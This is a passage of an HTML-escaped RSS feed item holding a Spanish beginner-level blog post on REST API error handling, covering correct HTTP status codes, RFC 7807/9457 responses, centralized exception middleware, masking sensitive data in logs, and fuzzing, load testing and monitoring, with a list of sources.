&lt;/li&gt;
&lt;li&gt;Utilizar códigos 5xx (errores del servidor) para situaciones que son responsabilidad del cliente, como datos mal formados.
&lt;/li&gt;
&lt;li&gt;No distinguir entre errores reintentables (por ejemplo, &lt;code&gt;429 Too Many Requests&lt;/code&gt;) y errores definitivos, lo que lleva a los consumidores a reintentar indefinidamente y saturar el servicio.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Consecuencias:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Los clientes no pueden reaccionar de forma adecuada (por ejemplo, aplicar back‑off exponencial).
&lt;/li&gt;
&lt;li&gt;Los atacantes pueden forzar la generación de errores 5xx para agotar recursos del servidor.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Buenas prácticas:&lt;/strong&gt;  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Mapear cada tipo de fallo a su código HTTP correspondiente: 4xx para errores del cliente (validación, autorización), 5xx para fallos internos.
&lt;/li&gt;
&lt;li&gt;Utilizar códigos de error reintentables como &lt;code&gt;429&lt;/code&gt; o &lt;code&gt;503&lt;/code&gt; cuando la causa sea temporal (rate limiting, mantenimiento).
&lt;/li&gt;
&lt;li&gt;Incluir en la respuesta RFC 7807/9457 un campo &lt;code&gt;type&lt;/code&gt; que indique la categoría del error y un &lt;code&gt;detail&lt;/code&gt; genérico, evitando exponer la lógica interna.
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Fuente: &lt;em&gt;Manejo de Errores en API REST: Buenas Prácticas, Códigos de Estado, RFC 9457&lt;/em&gt; (&lt;a href="https://apidog.com/es/blog/rest-api-error-handling-best-practices/" rel="noopener noreferrer"&gt;enlace&lt;/a&gt;) y &lt;em&gt;API REST Ya – Manejo de errores en APIs REST&lt;/em&gt; (&lt;a href="https://www.tutorialesprogramacionya.com/apirestya/tema13.html" rel="noopener noreferrer"&gt;enlace&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  3. Falta de manejo centralizado y registro seguro de errores
&lt;/h2&gt;

&lt;p&gt;Muchas aplicaciones dispersan la lógica de captura de excepciones en múltiples capas, lo que dificulta la consistencia y la auditoría. Además, los logs pueden contener datos sensibles si no se filtran adecuadamente.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Problemas observados:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cada controlador implementa su propio bloque &lt;code&gt;try/catch&lt;/code&gt;, generando respuestas distintas y dificultando la identificación de patrones de fallo.
&lt;/li&gt;
&lt;li&gt;Los logs incluyen payloads completos, encabezados de autorización o información de usuarios, lo que viola principios de privacidad y puede ser explotado si el sistema de logs es comprometido.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Soluciones recomendadas:&lt;/strong&gt;  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Implementar un middleware o filtro global de manejo de excepciones que capture cualquier error no tratado, convierta la excepción en una respuesta RFC 7807/9457 y registre el incidente de forma estructurada.
&lt;/li&gt;
&lt;li&gt;Centralizar los logs en una plataforma segura (por ejemplo, ELK, Splunk o un servicio de observabilidad) y aplicar máscaras a datos sensibles antes de enviarlos.
&lt;/li&gt;
&lt;li&gt;Configurar alertas automáticas que notifiquen cuando se produzcan patrones de errores 5xx repetidos o un número inusual de respuestas &lt;code&gt;429&lt;/code&gt;, indicando posibles intentos de abuso o problemas de rendimiento.
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Fuente: &lt;em&gt;Seguridad API REST: Guía Práctica para Proteger tus Endpoints&lt;/em&gt; (&lt;a href="https://vulnerabbit.com/blog/31-03-2026_seguridad-api-rest" rel="noopener noreferrer"&gt;enlace&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  4. Pruebas y monitoreo proactivo
&lt;/h2&gt;

&lt;p&gt;Detectar los errores antes de que la API llegue a producción es la forma más eficaz de evitar exposiciones. Las pruebas de carga y fuzzing revelan cómo la API se comporta bajo condiciones adversas y si genera respuestas inseguras.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pruebas recomendadas:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fuzzing de entrada:&lt;/strong&gt; Enviar datos aleatorios o malformados a cada endpoint para observar si la API devuelve información interna o códigos de error inesperados.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pruebas de carga:&lt;/strong&gt; Simular picos de tráfico para identificar errores 5xx que puedan derivarse de cuellos de botella o de manejo inadecuado de recursos.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitoreo continuo:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Métricas de error por código HTTP (porcentaje de 4xx vs 5xx).
&lt;/li&gt;
&lt;li&gt;Tasa de respuestas &lt;code&gt;429&lt;/code&gt; para validar la efectividad de los límites de velocidad.
&lt;/li&gt;
&lt;li&gt;Alertas de patrones de error que disparen revisiones de código o despliegues de hot‑fix.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Implementar estas pruebas como parte del pipeline de CI/CD garantiza que cualquier cambio introduzca una cobertura de manejo de errores adecuada antes de ser desplegado.  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Fuente: la guía de &lt;em&gt;Resolución de problemas comunes con la API REST&lt;/em&gt; (&lt;a href="https://www.digitalsamba.com/es/blog/troubleshooting-common-rest-api-errors" rel="noopener noreferrer"&gt;enlace&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Conclusión
&lt;/h2&gt;

&lt;p&gt;Los errores comunes en producción de APIs REST no son meras molestias de desarrollo; son vectores de ataque que pueden comprometer la confidencialidad, integridad y disponibilidad de tus servicios. Adoptar respuestas estandarizadas (RFC 7807/9457), usar los códigos HTTP correctos, centralizar el manejo de excepciones y registrar los fallos de forma segura son pasos esenciales que reducen significativamente la superficie de ataque. Además, las pruebas de fuzzing y carga, junto con un monitoreo continuo, permiten detectar y corregir vulnerabilidades antes de que los usuarios finales las experimenten.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Listo para reforzar la seguridad de tus APIs?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Revisa hoy mismo tu middleware de errores, implementa respuestas RFC 7807/9457 y programa una serie de pruebas de carga y fuzzing en tu pipeline. La inversión en un manejo de errores sólido paga con menos incidentes, clientes más satisfechos y una postura de seguridad mucho más robusta. ¡Empieza ahora y protege tu arquitectura desde la base!&lt;/p&gt;

&lt;h2&gt;
  
  
  Fuentes y referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://apidog.com/es/blog/rest-api-error-handling-best-practices/" rel="noopener noreferrer"&gt;Errores comunes en APIs REST (Apidog)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tutoriales.com/desarrollo-web/apis-rest/manejo-de-errores-y-excepciones-en-apis-rest-patrones-profesionales" rel="noopener noreferrer"&gt;Manejo de errores en APIs REST&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vulnerabbit.com/blog/31-03-2026_seguridad-api-rest" rel="noopener noreferrer"&gt;Informacion sensible en errores de API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalsamba.com/es/blog/troubleshooting-common-rest-api-errors" rel="noopener noreferrer"&gt;Codigos de estado HTTP y manejo de errores&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tutorialesprogramacionya.com/apirestya/tema13.html" rel="noopener noreferrer"&gt;Tutoriales de programacion: APIs REST&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tutorialesprogramacionya.com/ciberseguridad/seguridadenapisrest/tema17.html" rel="noopener noreferrer"&gt;Tutoriales de programacion: APIs REST&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>api</category>
      <category>spanish</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
